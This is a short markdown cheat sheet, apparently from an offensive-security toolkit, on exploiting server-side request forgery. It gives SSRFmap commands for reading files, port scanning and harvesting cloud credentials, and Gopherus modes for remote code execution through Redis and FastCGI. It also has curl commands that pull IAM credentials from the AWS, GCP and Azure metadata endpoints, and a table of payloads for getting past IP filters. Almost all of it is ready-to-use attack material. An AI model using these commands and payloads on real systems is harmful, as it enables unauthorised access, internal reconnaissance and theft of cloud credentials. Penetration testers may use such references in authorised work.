<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Exploiting SSRF Vulnerabilities

## SSRFmap
```bash
ssrfmap -r request.txt -p PARAM --modules readfiles
ssrfmap -r request.txt -p PARAM --modules portscan
ssrfmap -r request.txt -p PARAM --modules aws
ssrfmap -r request.txt -p PARAM --modules gcp
# Modules: readfiles, portscan, aws, gcp, networkscan, redis, github
```

## Gopherus
```bash
gopherus --exploit redis     # Redis RCE via gopher://
gopherus --exploit mysql     # MySQL query injection
gopherus --exploit smtp      # Email via SSRF
gopherus --exploit fastcgi   # FastCGI RCE
gopherus --exploit memcache  # Memcached injection
```

## Cloud Metadata Endpoints
```
# AWS IMDSv1
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE

# AWS IMDSv2 (requires PUT for token)
TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

# GCP (requires header)
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/

# Azure (requires header)
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
```

## Filter Bypass Cheat Sheet
| Technique | Payload |
|-----------|---------|
| Decimal IP | http://2130706433/ |
| Hex IP | http://0x7f000001/ |
| Octal IP | http://0177.0.0.1/ |
| IPv6 | http://[::1]/ |
| Short form | http://127.1/ |
| DNS rebinding | Use rebind.network |
| Redirect | Redirect from attacker domain |
